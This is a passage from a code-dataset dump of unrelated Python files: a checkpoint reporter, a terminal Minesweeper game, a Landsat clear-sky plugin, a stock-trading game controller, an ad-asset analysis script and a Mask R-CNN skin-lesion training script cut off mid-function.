\"\"\"\n Delete a checkpoint from the storage backend.\n \"\"\"\n self._storage_manager.delete(storage_id)\n\n def _report_checkpoint(\n self,\n storage_id: str,\n resources: Optional[Dict[str, int]] = None,\n metadata: Optional[Dict[str, Any]] = None,\n ) -> None:\n \"\"\"\n After having uploaded a checkpoint, report its existence to the master.\n \"\"\"\n\n resources = resources or {}\n metadata = metadata or {}\n required = {\"latest_batch\"}\n allowed = required.union({\"framework\", \"format\", \"total_records\", \"total_epochs\"})\n missing = [k for k in required if k not in metadata]\n extra = [k for k in metadata.keys() if k not in allowed]\n if missing:\n raise ValueError(\n \"metadata for reported checkpoints, in the current implementation, requires all of \"\n f\"the following items that have not been provided: {missing}\"\n )\n if extra:\n raise ValueError(\n \"metadata for reported checkpoints, in the current implementation, cannot support \"\n f\"the following items that were provided: {extra}\"\n )\n\n body = {\n \"uuid\": storage_id,\n \"resources\": resources,\n **self._static_metadata,\n **metadata,\n }\n logger.info(f\"Reported checkpoint to master {storage_id}\")\n self._session.post(self._api_path, data=det.util.json_encode(body))\n\n # Also sync tensorboard.\n if self._tbd_mgr:\n self._tbd_mgr.sync()\n\n\nclass DummyCheckpointContext(CheckpointContext):\n def __init__(\n self,\n dist: _core.DistributedContext,\n storage_manager: storage.StorageManager,\n ) -> None:\n self._dist = dist\n self._storage_manager = storage_manager\n\n def _report_checkpoint(\n self,\n storage_id: str,\n resources: Optional[Dict[str, int]] = None,\n metadata: Optional[Dict[str, Any]] = None,\n ) -> None:\n # No master to report to; just log the event.\n logger.info(f\"saved checkpoint {storage_id}\")\n\n def get_metadata(self, storage_id: str) -> Dict[str, Any]:\n # TODO: when the StorageManager supports downloading with a file filter, we should attempt\n # to download metadata.json from the checkpoint and read it here.\n raise NotImplementedError(\n \"DummyCheckpointContext is not able to read metadata from checkpoint storage yet.\"\n )\n","sub_path":"harness/determined/_core/_checkpoint.py","file_name":"_checkpoint.py","file_ext":"py","file_size_in_byte":10389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"386838880","text":"import sys\nimport random\nimport curses\n\n\nclass Cell(object):\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.opened = False\n self.checked = False\n self.mine = False\n\n\nclass Command(object):\n def __init__(self):\n self.x = -1\n self.y = -1\n self.open_cell = False\n self.check_cell = False\n\n\nclass Minesweeper(object):\n def __init__(self, ncol, nrow, nmines):\n self.NUM_X = ncol # number of columns (x-axis)\n self.NUM_Y = nrow # number of rows (y-axis)\n self.NUM_MINES = nmines\n \n self.cells = {}\n for i in xrange(self.NUM_X):\n for j in xrange(self.NUM_Y):\n cell = Cell(i, j)\n self.cells[(i, j)] = cell\n\n # arrange mines randomly\n imines = random.sample(range(len(self.cells)), self.NUM_MINES)\n for i, cell in enumerate(self.cells.values()):\n if i in imines:\n cell.mine = True\n\n def get_cell(self, x, y):\n return self.cells[(x, y)]\n\n # number of columns\n def get_num_x(self):\n return self.NUM_X\n \n # number of rows\n def get_num_y(self):\n return self.NUM_Y\n\n # listup surrounding cells\n def __surrounding_mines(self, x, y):\n l = []\n for i in [x-1, x, x+1]:\n for j in [y-1, y, y+1]:\n if i < 0:\n continue\n if i >= self.get_num_x():\n continue\n if j < 0:\n continue\n if j >= self.get_num_y():\n continue\n if i == x and j == y:\n continue\n l.append((i, j))\n return l\n \n # count surrounding mines\n def count_mines(self, x, y):\n ct = 0\n l = self.__surrounding_mines(x, y)\n for buf in l:\n i = buf[0]\n j = buf[1]\n if self.cells[(i, j)].mine:\n ct += 1\n return ct\n\n # evaluate index\n def eval_index_error(self, cmd):\n if (cmd.x, cmd.y) in self.cells.keys():\n pass\n else:\n return True\n\n return False\n\n # evaluate command validity\n def eval_cmd_error(self, cmd):\n if (cmd.x, cmd.y) in self.cells.keys():\n pass\n else:\n return True\n \n if cmd.open_cell and cmd.check_cell:\n return True\n\n if not cmd.open_cell and not cmd.check_cell:\n return True\n\n if self.cells[(cmd.x, cmd.y)].checked and cmd.open_cell:\n return True\n \n return False\n\n def exec_cmd(self, cmd):\n if self.eval_cmd_error(cmd):\n return\n\n if cmd.open_cell:\n if self.cells[(cmd.x, cmd.y)].opened:\n return\n\n self.cells[(cmd.x, cmd.y)].opened = True\n if self.count_mines(cmd.x, cmd.y) == 0:\n l = self.__surrounding_mines(cmd.x, cmd.y)\n for buf in l:\n x = buf[0]\n y = buf[1]\n cmd = Command()\n cmd.x = x\n cmd.y = y\n cmd.open_cell = True\n self.exec_cmd(cmd)\n \n if not self.cells[(cmd.x, cmd.y)].checked and cmd.check_cell:\n self.cells[(cmd.x, cmd.y)].checked = True\n elif self.cells[(cmd.x, cmd.y)].checked and cmd.check_cell:\n self.cells[(cmd.x, cmd.y)].checked = False\n \n # returns true if player lose\n def eval_lose(self):\n for cell in self.cells.values():\n if cell.mine and cell.opened:\n return True\n return False\n\n # returns true if player win\n def eval_win(self):\n if self.eval_lose():\n return False\n\n ok = 0\n for cell in self.cells.values():\n if cell.opened:\n ok += 1\n if cell.mine and cell.checked:\n ok += 1\n\n if ok == len(self.cells):\n return True\n\n return False\n \n\nclass View(object):\n def __init__(self):\n self.stdscr = curses.initscr()\n curses.noecho()\n curses.cbreak()\n self.stdscr.keypad(1)\n\n yx = self.stdscr.getmaxyx()\n if yx[0] < 25 or yx[1] < 30:\n self.stdscr.clear()\n self.stdscr.addstr('window size too small.\\n')\n self.stdscr.addstr('please magnify your terminal window.')\n self.stdscr.refresh()\n self.stdscr.getch()\n sys.exit()\n \n def finalize(self):\n curses.nocbreak()\n self.stdscr.keypad(0)\n curses.echo()\n curses.endwin()\n\n # returns character according to status of a cell\n def __cell_to_str(self, cell, minesweeper):\n if cell.opened and cell.mine:\n return 'X'\n if cell.opened:\n ct = minesweeper.count_mines(cell.x, cell.y)\n if ct == 0:\n return ' '\n return str(ct)\n if cell.checked:\n return '!'\n return '?'\n\n def __draw_cells(self, minesweeper, text):\n nx = minesweeper.get_num_x()\n ny = minesweeper.get_num_y()\n\n for x in xrange(nx):\n self.stdscr.addstr(0, x+1, chr(ord('a') + x))\n\n for y in xrange(ny):\n self.stdscr.addstr(y+1, 0, str(y))\n\n cmd = self.__eval_input(text)\n\n for y in xrange(ny):\n for x in xrange(nx):\n attr = []\n if (cmd.x == -1 or cmd.y == -1) and (x == cmd.x or y == cmd.y):\n attr = [curses.A_REVERSE]\n if x == cmd.x and y == cmd.y:\n attr = [curses.A_REVERSE]\n\n self.stdscr.addstr(\n y+1, x+1, self.__cell_to_str(\n minesweeper.get_cell(x, y), minesweeper), *attr)\n\n def __draw_input(self, text, y):\n self.stdscr.addstr(y, 0, '>')\n self.stdscr.addstr(y, 2, text)\n\n def __eval_input_char(self, c):\n if c.isdigit():\n return (-1, int(c))\n elif c.isalpha():\n return (ord(c) - ord('a'), -1)\n return (-1, -1)\n\n # evaluate input text and convert to Command object including x and y.\n def __eval_input(self, text):\n cmd = Command()\n\n if len(text) == 0:\n return cmd\n\n if len(text) == 1:\n buf = self.__eval_input_char(text[0])\n cmd.x = buf[0]\n cmd.y = buf[1]\n return cmd\n \n if len(text) == 2:\n if text[0].isdigit() and text[1].isdigit():\n return cmd\n elif text[0].isalpha() and text[1].isalpha():\n return cmd\n\n buf0 = self.__eval_input_char(text[0])\n buf1 = self.__eval_input_char(text[1])\n cmd.x = max(buf0[0], buf1[0])\n cmd.y = max(buf0[1], buf1[1])\n return cmd\n \n return cmd\n\n # draw cells and ask for command from player\n def draw_and_input(self, minesweeper):\n text = ''\n\n self.stdscr.clear()\n self.__draw_cells(minesweeper, text)\n self.stdscr.addstr(19, 0, 'select cell')\n self.__draw_input(text, 20)\n self.stdscr.refresh()\n\n # ask player which cell to select.\n while True:\n c = self.stdscr.getch()\n if c == curses.KEY_ENTER or c == 10:\n cmd = self.__eval_input(text)\n if cmd.x >= 0 and cmd.y >= 0:\n break\n text = ''\n\n if c == curses.KEY_BACKSPACE:\n text = text[:-1]\n\n if c < 256 and c != 10:\n text += chr(c)\n\n # hit CTRL-Q to exit.\n if c == 17:\n self.finalize()\n sys.exit()\n\n self.stdscr.clear()\n self.__draw_cells(minesweeper, text)\n self.stdscr.addstr(19, 0, 'select cell')\n self.__draw_input(text, 20)\n self.stdscr.refresh()\n\n cmd = self.__eval_input(text)\n if minesweeper.eval_index_error(cmd):\n return self.draw_and_input(minesweeper)\n\n # ask player what to do\n text_cmd = ''\n while True:\n self.stdscr.clear()\n self.__draw_cells(minesweeper, text)\n self.stdscr.addstr(19, 0, 'select cell')\n self.__draw_input(text, 20)\n if not minesweeper.get_cell(cmd.x, cmd.y).checked:\n self.stdscr.addstr(21, 0, 'o: open, c: check')\n else:\n self.stdscr.addstr(21, 0, 'o: open, c: uncheck')\n self.stdscr.addstr(22, 0, '> ' + str(text_cmd))\n self.stdscr.refresh()\n\n c = self.stdscr.getch()\n if c == curses.KEY_ENTER or c == 10:\n if text_cmd == 'c':\n cmd.check_cell= True\n break\n elif text_cmd == 'o':\n cmd.open_cell = True\n break\n elif c == ord('c'):\n text_cmd = 'c'\n elif c == ord('o'):\n text_cmd = 'o'\n else:\n text_cmd = ''\n\n return cmd\n \n def draw_win(self, minesweeper):\n while True:\n self.stdscr.clear()\n self.__draw_cells(minesweeper, '')\n self.stdscr.addstr(20, 0, 'you win!')\n self.stdscr.refresh()\n\n c = self.stdscr.getch()\n if c == curses.KEY_ENTER or c == 10:\n break\n \n def draw_lose(self, minesweeper):\n while True:\n self.stdscr.clear()\n self.__draw_cells(minesweeper, '')\n self.stdscr.addstr(20, 0, 'you lose!')\n self.stdscr.refresh()\n\n c = self.stdscr.getch()\n if c == curses.KEY_ENTER or c == 10:\n break\n\n\ndef main():\n ncol = raw_input('number of columns > ')\n nrow = raw_input('number of rows > ')\n nmines = raw_input('number of mines > ')\n err = False\n if not ncol.isdigit():\n err = True\n if not nrow.isdigit():\n err = True\n if not nmines.isdigit():\n err = True\n if err:\n print >>sys.stderr, 'invalid inputs'\n return\n\n if int(ncol) > 10:\n print >>sys.stderr, 'field too large'\n return\n\n if int(nrow) > 10:\n print >>sys.stderr, 'field too large'\n return\n\n if int(nmines) > int(ncol) * int(nrow):\n print >>sys.stderr, 'invalid inputs'\n\n minesweeper = Minesweeper(int(ncol), int(nrow), int(nmines))\n view = View()\n\n while True:\n cmd = view.draw_and_input(minesweeper)\n if minesweeper.eval_cmd_error(cmd):\n continue\n minesweeper.exec_cmd(cmd)\n\n if minesweeper.eval_win():\n view.draw_win(minesweeper)\n break\n elif minesweeper.eval_lose():\n view.draw_lose(minesweeper)\n break\n\n view.finalize()\n\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"minesweeper.py","file_name":"minesweeper.py","file_ext":"py","file_size_in_byte":9359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"125676690","text":"from eodatadown.eodatadownuseranalysis import EODataDownUserAnalysis\nfrom eodatadown.eodatadownutils import EODataDownUtils\n\nimport rsgislib\nimport rsgislib.imagecalibration\n\nimport logging\nimport os\nimport shutil\n\nlogger = logging.getLogger(__name__)\n\n\nclass LandsatClearSky(EODataDownUserAnalysis):\n\n def __init__(self):\n usr_req_keys = [\"tmp_path\"]\n EODataDownUserAnalysis.__init__(self, analysis_name='LandsatClearSky', req_keys=usr_req_keys)\n\n def perform_analysis(self, scn_db_obj, sen_obj):\n success = True\n out_info = None\n try:\n rsgis_utils = rsgislib.RSGISPyUtils()\n eodd_utils = EODataDownUtils()\n\n # Find the input image image.\n img_file = rsgis_utils.findFileNone(scn_db_obj.ARDProduct_Path, \"*vmsk_mclds_topshad_rad_srefdem_stdsref.tif\")\n logger.debug(\"Image File: {}\".format(img_file))\n\n # Find the the valid image mask\n valid_img_file = rsgis_utils.findFileNone(scn_db_obj.ARDProduct_Path, \"*valid.tif\")\n logger.debug(\"Valid Image File: {}\".format(valid_img_file))\n\n # Find the the cloud image mask\n cloud_img_file = rsgis_utils.findFileNone(scn_db_obj.ARDProduct_Path, \"*clouds.tif\")\n logger.debug(\"Cloud Mask File: {}\".format(cloud_img_file))\n\n basename = rsgis_utils.get_file_basename(valid_img_file)\n basename = basename.replace('_valid', '')\n logger.debug(\"The basename for the processing is: {}\".format(basename))\n\n base_tmp_dir = os.path.join(self.params[\"tmp_path\"], \"{}_{}_clearsky\".format(scn_db_obj.Product_ID, scn_db_obj.PID))\n if not os.path.exists(base_tmp_dir):\n os.mkdir(base_tmp_dir)\n\n process_tmp_dir = os.path.join(base_tmp_dir, \"processing\")\n if not os.path.exists(process_tmp_dir):\n os.mkdir(process_tmp_dir)\n\n clear_sky_img = os.path.join(base_tmp_dir, \"{}_clearsky.kea\".format(basename))\n\n rsgislib.imagecalibration.calcClearSkyRegions(cloud_img_file, valid_img_file, clear_sky_img, 'KEA',\n tmpPath=process_tmp_dir, deleteTmpFiles=False,\n initClearSkyRegionDist=5000, initClearSkyRegionMinSize=3000,\n finalClearSkyRegionDist=1000, morphSize=21)\n\n clear_sky_tif_img = eodd_utils.translateCloudOpGTIFF(clear_sky_img, scn_db_obj.ARDProduct_Path)\n\n if os.path.exists(base_tmp_dir):\n shutil.rmtree(base_tmp_dir)\n\n out_info = {\"clearskyimg\": clear_sky_tif_img}\n except Exception as e:\n logger.debug(\"An error occurred during plugin processing. See stacktrace...\", stack_info=True)\n logger.exception(e)\n success = False\n\n return success, out_info\n\n\"\"\"\n{\n \"path\": \"/Users/pete/Temp/eodd_user_analysis/scripts/plugins/landsat\",\n \"module\": \"landsat_clearsky\",\n \"class\": \"LandsatClearSky\",\n \"params\":\n {\n \"tmp_path\": \"/Users/pete/Temp/eodd_user_analysis/plugin_tmp\"\n }\n}\n\"\"\"","sub_path":"plugins/landsat/landsat_clearsky.py","file_name":"landsat_clearsky.py","file_ext":"py","file_size_in_byte":3184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"417365032","text":"#!/usr/bin/env python3\n\nimport model\nimport view\nimport os\nimport time\nimport sqlite3\n\n\nview.header()\nplayer = view.player()\nif player.upper() == 'Y':\n while True:\n try:\n (user_id, password) = view.new_player()\n model.sign_up(user_id,password)\n break\n except sqlite3.IntegrityError:\n print('User_ID is already exist.')\nelse:\n while True:\n try:\n (user_id, password) = view.log_in()\n model.login(user_id, password)\n break\n except TypeError:\n print('Wrong User_ID or Password.')\n time.sleep(1)\n\nif user_id == 'Admin':\n while True:\n lookup_inputs = ['l','lookup','look up','look-up']\n quote_inputs = ['q','quote']\n view_history_inputs = ['vh', 'v', 'history']\n view_all_portfolio_inputs = ['vp', 'portfolio']\n leaderboard_inputs = ['lb', 'leaderboard']\n exit_inputs = ['e','exit','quit']\n acceptable_inputs = lookup_inputs \\\n +quote_inputs \\\n +view_history_inputs \\\n +view_all_portfolio_inputs \\\n +leaderboard_inputs \\\n +exit_inputs\n os.system('clear')\n view.header()\n print(' ')\n user_input = view.main_menu1()\n\n if user_input in acceptable_inputs:\n if user_input in lookup_inputs:\n print(model.lookup(view.lookup_menu()))\n time.sleep(1)\n elif user_input in quote_inputs:\n print(model.quote(view.quote_menu()))\n time.sleep(1)\n elif user_input in view_history_inputs:\n os.system('clear')\n print(model.view_hist())\n input('\\nDo you want to exit the leaderboard? [Y] ' )\n elif user_input in view_all_portfolio_inputs:\n os.system('clear')\n print(model.view_allpor())\n input('\\nDo you want to exit the leaderboard? [Y] ' )\n elif user_input in leaderboard_inputs:\n os.system('clear')\n print(model.leaderboard())\n input('\\nDo you want to exit the leaderboard? [Y] ' )\n elif user_input in exit_inputs:\n break\n\nelse:\n while True:\n buy_inputs = ['b','buy']\n sell_inputs = ['s','sell']\n view_port_inputs = ['v', 'view', 'portfolio']\n lookup_inputs = ['l','lookup','look up','look-up']\n quote_inputs = ['q','quote']\n exit_inputs = ['e','exit','quit']\n acceptable_inputs = buy_inputs \\\n +sell_inputs \\\n +view_port_inputs \\\n +lookup_inputs \\\n +quote_inputs \\\n +exit_inputs\n\n os.system('clear')\n view.header()\n print('\\nYour current balance is:', end=' ')\n print(model.check_balance(user_id))\n print(' ')\n user_input = view.main_menu()\n\n if user_input in acceptable_inputs:\n if user_input in buy_inputs:\n (ticker_symbol,trade_volume) = view.transaction_menu()\n model.buy(user_id, ticker_symbol,trade_volume)\n time.sleep(2)\n elif user_input in sell_inputs:\n (ticker_symbol,trade_volume) = view.transaction_menu()\n model.sell(user_id, ticker_symbol,trade_volume)\n time.sleep(2)\n elif user_input in view_port_inputs:\n os.system('clear')\n print(model.view_port(user_id))\n print('\\nYour current balance is:', end=' ')\n print(model.check_balance(user_id))\n print('\\nYour total balance is: ', model.sum_val(user_id)+model.check_balance(user_id))\n input('\\nDo you want to exit portfolio? [Y] ')\n elif user_input in lookup_inputs:\n print(model.lookup(view.lookup_menu()))\n time.sleep(1)\n elif user_input in quote_inputs:\n print(model.quote(view.quote_menu()))\n time.sleep(1)\n elif user_input in exit_inputs:\n break","sub_path":"Phase1/Assessment1/q3/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":4294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"649467339","text":"import AssetHelper\nimport pandas as pd\n\n#Read looker export\ndf=pd.read_csv('[PATH_TO_RAW_DATA_FILE]')\n#Make column names more friendly\nAssetdf=df.rename(columns={DICTIONARY_TO_RENAME_COLUMNS})\n\n#Define the asset groupings\nAssetgroupings=['Platform','Creative Campaign','Objective','Creative','Asset Type','Genre','Show']\n#Get All campaigns after start date that have been running for at least 14 days\nfinalDfWithRunTimes=AssetHelper.getRunTimes(Assetdf,Assetgroupings,'2020-12-01')\nEligibleCampaigns=finalDfWithRunTimes.loc[finalDfWithRunTimes['RunTime']>=14]\n#Output = Vee to Remove after demo EligibleCampaigns.to_csv('_EligibleCampaignsInitial.csv')\n\n#Aggregate data at the creative level and add calculated metrics\nEligibleCampaigns=EligibleCampaigns.groupby(by=['Creative','Platform','Objective','Asset Type','Genre','Show','RunTime'],as_index=False).agg({'Spend':'sum','Impressions':'sum','Clicks':'sum','AllSubscriptions':'sum'})\nEligibleCampaigns['CPA']=EligibleCampaigns['Spend']/EligibleCampaigns['AllSubscriptions']\nEligibleCampaigns['CPM']=1000*EligibleCampaigns['Spend']/EligibleCampaigns['Impressions']\nEligibleCampaigns['CPC']=EligibleCampaigns['Spend']/EligibleCampaigns['Clicks']\nEligibleCampaigns['CTR']=EligibleCampaigns['Clicks']/EligibleCampaigns['Impressions']\n#Output = Vee to Remove after demo EligibleCampaigns.to_csv('_EligibleCampaignsAggregated.csv')\n\n\n #Loop through chisuared test for each platform and objective. Variables are the categories we want to test for an effect, groups is the category we are testing for an effect in\nplatforms=['Snapchat', 'DV360', 'The Trade Desk','Facebook', 'Twitter', 'Pinterest', 'Reddit', 'TikTok','Audiomatic', 'Pandora']\nobjectives=['Acquisition', 'Retention', 'Awareness', 'Engagement']\ngroups=['Genre','Show','Creative Campaign']\nvariables=['Asset Type','AssetSize','Show']\nmetrics={'AllSubscriptions':\"sum\",'Clicks':\"sum\",'Impressions':\"sum\"}\nAssetHelper.chiSquareTests(EligibleCampaigns,objectives,platforms,variables,groups,metrics)\n#VOutput = ee to Remove after demo look at Chi2TestResults.csv\n\n#GetMedianValues and variance from the median value for each calculated metric at the platform & objective level\nEligibleCampaignsWithMedians=AssetHelper.getMedians(EligibleCampaigns)\n#Output = Vee to Remove after demo EligibleCampaigns.to_csv('_EligibleCampaignsFinal.csv')\n\n#Define the metrics we'd like to analyze in our final output comparing top and bottom quartile creatives\nMetrics=['CPC','CPA']\nGrouping='Show'\nAssetHelper.getCategorydata(EligibleCampaignsWithMedians.reset_index(),platforms,objectives,Metrics,Grouping)\n#Output = Vee to Remove after demo look at HighestMetricbyShow and LowestMetricbyShow\n","sub_path":"AssetAnalysisCaller.py","file_name":"AssetAnalysisCaller.py","file_ext":"py","file_size_in_byte":2686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"343934426","text":"\"\"\"\nMask R-CNN\nTrain on the skin robot dataset.\n\nCopyright (c) 2018 Matterport, Inc.\nLicensed under the MIT License (see LICENSE for details)\nWritten by Waleed Abdulla\n\n------------------------------------------------------------\n\nUsage: import the module (see Jupyter notebooks for examples), or run from\n the command line as such:\n\n #Train a new model starting from pre-trained COCO weights\n python skin.py train --dataset=/home/.../mask_rcnn/data/skin/ --weights=coco\n\n #Train a new model starting from pre-trained ImageNet weights\n python skin.py train --dataset=/home/.../mask_rcnn/data/skin/ --weights=imagenet\n\n # Continue training the last model you trained. This will find\n # the last trained weights in the model directory.\n python skin.py train --dataset=/home/.../mask_rcnn/data/skin/ --weights=last\n\n #Detect and color splash on a image with the last model you trained.\n #This will find the last trained weights in the model directory.\n python skin.py splash --weights=last --image=/home/...../*.jpg\n\n #Detect and color splash on a video with a specific pre-trained weights of yours.\n python sugery.py splash --weights=/home/.../logs/mask_rcnn_skin_0030.h5 --video=/home/simon/Videos/Center.wmv\n\"\"\"\n\nimport os\nimport sys\nimport json\nimport datetime\nimport numpy as np\nimport skimage.draw\nfrom matplotlib import pyplot as plt\nimport cv2\n\n# Root directory of the project\nROOT_DIR = os.path.abspath(\"../../\")\nsys.path.append(\"../\")\n# Import Mask RCNN\nsys.path.append(ROOT_DIR) # To find local version of the library\nfrom kayaApp.mrcnn.config import Config\nfrom kayaApp.mrcnn import model as modellib, utils\nfrom kayaApp.mrcnn import visualize\n# Path to trained weights file\nCOCO_WEIGHTS_PATH = os.path.join(ROOT_DIR, \"mask_rcnn_coco.h5\")\n\n# Directory to save logs and model checkpoints, if not provided\n# through the command line argument --logs\nDEFAULT_LOGS_DIR = os.path.join(ROOT_DIR, \"logs\")\n\n############################################################\n# Configurations\n############################################################\n\n\nclass SkinConfig(Config):\n \"\"\"Configuration for training on the toy dataset.\n Derives from the base Config class and overrides some values.\n \"\"\"\n # Give the configuration a recognizable name\n NAME = \"skin\"\n\n # We use a GPU with 12GB memory, which can fit two images.\n # Adjust down if you use a smaller GPU.\n IMAGES_PER_GPU = 2\n\n # Number of classes (including background)\n NUM_CLASSES = 1 + 8 # Background + objects\n\n # Number of training steps per epoch\n STEPS_PER_EPOCH = 100\n\n # Skip detections with < 90% confidence\n DETECTION_MIN_CONFIDENCE = 0.6\n\n\n############################################################\n# Dataset\n############################################################\n\nclass SkinDataset(utils.Dataset):\n def load_VIA(self, dataset_dir, subset, hc=False):\n \"\"\"Load the skin dataset from VIA.\n dataset_dir: Root directory of the dataset.\n subset: Subset to load: train or val or predict\n \"\"\"\n # Add classes. We have only one class to add.\n self.add_class(\"skin\", 1, \"acne\")\n self.add_class(\"skin\", 2, \"pigmented scar\")\n self.add_class(\"skin\", 3, \"scar\")\n self.add_class(\"skin\", 4, \"pih\")\n self.add_class(\"skin\", 5, \"hyper pigmentation\")\n self.add_class(\"skin\", 6, \"mole\")\n self.add_class(\"skin\", 7, \"open pores\")\n self.add_class(\"skin\", 8, \"melasma\")\n if hc is True:\n for i in range(1,9):\n self.add_class(\"skin\", i, \"{}\".format(i))\n self.add_class(\"skin\", 1, \"acne\")\n self.add_class(\"skin\", 2, \"pigmented scar\")\n self.add_class(\"skin\", 3, \"scar\")\n self.add_class(\"skin\", 4, \"pih\")\n self.add_class(\"skin\", 5, \"hyper pigmentation\")\n self.add_class(\"skin\", 6, \"mole\")\n self.add_class(\"skin\", 7, \"open pores\")\n self.add_class(\"skin\", 8, \"melasma\")\n\n\n # Train or validation dataset?\n assert subset in [\"train\", \"val\", \"predict\"]\n dataset_dir = os.path.join(dataset_dir, subset)\n\n annotations = json.load(open(os.path.join(dataset_dir, \"train.json\")))\n\n annotations = list(annotations.values()) # don't need the dict keys\n # The VIA tool saves images in the JSON even if they don't have any\n # annotations. Skip unannotated images.\n annotations = [a for a in annotations if a['regions']]\n\n # Add images\n for a in annotations:\n # Get the x, y coordinaets of points of the circles that make up\n # the outline of each object instance. There are stores in the\n # shape_attributes (see json format above)\n if type(a['regions']) is dict:\n circles = [r['shape_attributes'] for r in a['regions'].values()]\n else:\n circles = [r['shape_attributes'] for r in a['regions']]\n # circles = [r['shape_attributes'] for r in a['regions']]\n names = [r['region_attributes'] for r in a['regions']]\n # load_mask() needs the image size to convert circles to masks.\n # Unfortunately, VIA doesn't include it in JSON, so we must read\n # the image. This is only managable since the dataset is tiny.\n image_path = os.path.join(dataset_dir, a['filename'])\n image = skimage.io.imread(image_path)\n height, width = image.shape[:2]\n\n self.add_image(\n \"skin\",\n image_id=a['filename'], # use file name as a unique image id\n path=image_path,\n width=width, height=height,\n circles=circles,\n names=names)\n\n def load_mask(self, image_id):\n \"\"\"Generate instance masks for an image.\n Returns:\n masks: A bool array of shape [height, width, instance count] with\n one mask per instance.\n class_ids: a 1D array of class IDs of the instance masks.\n \"\"\"\n # If not a skin dataset image, delegate to parent class.\n image_info = self.image_info[image_id]\n if image_info[\"source\"] != \"skin\":\n return super(self.__class__, self).load_mask(image_id)\n\n # Convert circles to a bitmap mask of shape\n # [height, width, instance_count]\n info = self.image_info[image_id]\n class_names = info[\"names\"]\n mask = np.zeros([info[\"height\"], info[\"width\"], len(info[\"circles\"])],\n dtype=np.uint8)\n for i, p in enumerate(info[\"circles\"]):\n # Get indexes of pixels inside the polygon and set them to 1\n if p['name']=='circle':\n # Get indexes of pixels inside the polygon and set them to 1\n rr, cc= skimage.draw.circle(p['cy'],p['cx'], p['r'])\n mask[rr, cc, i] = 1\n elif p['name']=='ellipse':\n rr, cc= skimage.draw.ellipse(p['cy'],p['cx'],p['ry'],p['rx'])\n mask[rr, cc, i] = 1\n\n # Assign class_ids by reading class_names\n class_ids = np.zeros([len(info[\"circles\"])])\n # In the skin dataset, pictures are labeled with name 'a' and 'r' representing arm and ring.\n for i, p in enumerate(class_names):\n #\"name\" is the attributes name decided when labeling, etc. 'region_attributes': {name:'a'}\n if p['skin'] == 'acne':\n class_ids[i] = 1\n elif p['skin'] == 'pigmented scar':\n class_ids[i] = 2\n elif p['skin'] == 'scar':\n class_ids[i] = 3\n elif p['skin'] == 'pih':\n class_ids[i] = 4\n elif p['skin'] == 'hyper pigmentation':\n class_ids[i] = 5\n elif p['skin'] == 'mole':\n class_ids[i] = 6\n elif p['skin'] == 'open pores':\n class_ids[i] = 7\n elif p['skin'] == 'melasma':\n class_ids[i] = 8\n\n #assert code here to extend to other labels\n class_ids = class_ids.astype(int)\n # Return mask, and array of class IDs of each instance. Since we have\n # one class ID only, we return an array of 1s\n return mask.astype(np.bool), class_ids\n\n def image_reference(self, image_id):\n \"\"\"Return the path of the image.\"\"\"\n info = self.image_info[image_id]\n if info[\"source\"] == \"skin\":\n return info[\"path\"]\n else:\n super(self.__class__, self).image_reference(image_id)\n\n def load_mask_hc(self, image_id):\n \"\"\"Generate instance masks for an image.\n Returns:\n masks: A bool array of shape [height, width, instance count] with\n one mask per instance.\n class_ids: a 1D array of class IDs of the instance masks.\n \"\"\"\n # If not a skin dataset image, delegate to parent class.\n image_info = self.image_info[image_id]\n if image_info[\"source\"] != \"skin\":\n return super(self.__class__, self).load_mask(image_id)\n\n # Convert circles to a bitmap mask of shape\n # [height, width, instance_count]\n info = self.image_info[image_id]\n #\"name\" is the attributes name decided when labeling, etc. 'region_attributes': {name:'a'}\n class_names = info[\"names\"]\n mask = np.zeros([info[\"height\"], info[\"width\"], len(info[\"circles\"])],\n dtype=np.uint8)\n for i, p in enumerate(info[\"circles\"]):\n # Get indexes of pixels inside the polygon and set them to 1\n rr, cc = skimage.draw.polygon(p['all_points_y'], p['all_points_x'])\n mask[rr, cc, i] = 1\n # Assign class_ids by reading class_names\n class_ids = np.zeros([len(info[\"circles\"])])\n # In the skin dataset, pictures are labeled with name 'a' and 'r' representing arm and ring.\n for i, p in enumerate(class_names):\n if p['name'] == 'arm':\n class_ids[i] = 14\n elif p['name'] == 'error':\n pass\n else:\n class_ids[i] = int(p['name'])\n #assert code here to extend to other labels\n class_ids = class_ids.astype(int)\n # Return mask, and array of class IDs of each instance. Since we have\n # one class ID only, we return an array of 1s\n return mask.astype(np.bool), class_ids\n\ndef train(model, *dic):\n \"\"\"Train the model.\"\"\"\n # Training dataset.\n dataset_train = SkinDataset()\n dataset_train.load_VIA(args.dataset, \"train\")\n dataset_train.prepare()\n\n # Validation dataset\n dataset_val = SkinDataset()\n dataset_val.load_VIA(args.dataset, \"val\")\n dataset_val.prepare()\n\n # *** This training schedu le is an example. Update to your needs ***\n # Since we're using a very small dataset, and starting from\n # COCO trained weights, we don't need to train too long. Also,\n # no need to train all layers, just the heads should do it.\n print(\"Training network heads\")\n model.train(dataset_train, dataset_val,\n learning_rate=config.LEARNING_RATE,\n epochs=60,\n layers='heads')\n\n\ndef GuidedFilt(img, r,eps):\n # eps = 0.002;\n\n I = np.double(img)\n I = I/255\n I2 = cv2.pow(I,2)\n mean_I = cv2.boxFilter(I,-1,((2*r)+1,(2*r)+1))\n mean_I2 = cv2.boxFilter(I2,-1,((2*r)+1,(2*r)+1))\n\n cov_I = mean_I2 - cv2.pow(mean_I,2)\n\n var_I = cov_I\n\n a = cv2.divide(cov_I,var_I+eps)\n b = mean_I - (a*mean_I)\n\n mean_a = cv2.boxFilter(a,-1,((2*r)+1,(2*r)+1))\n mean_b = cv2.boxFilter(b,-1,((2*r)+1,(2*r)+1))\n\n q = (mean_a * I) + mean_b\n\n return(np.uint8(q*255))\n\ndef before_after(image, mask,region):\n \"\"\"Apply color splash effect.\n image: RGB image [height, width, 3]\n mask: instance segmentation mask [height, width, instance count]\n\n Returns result image.\n \"\"\"\n # Make a grayscale copy of the image. The grayscale copy still\n # has 3 RGB channels, 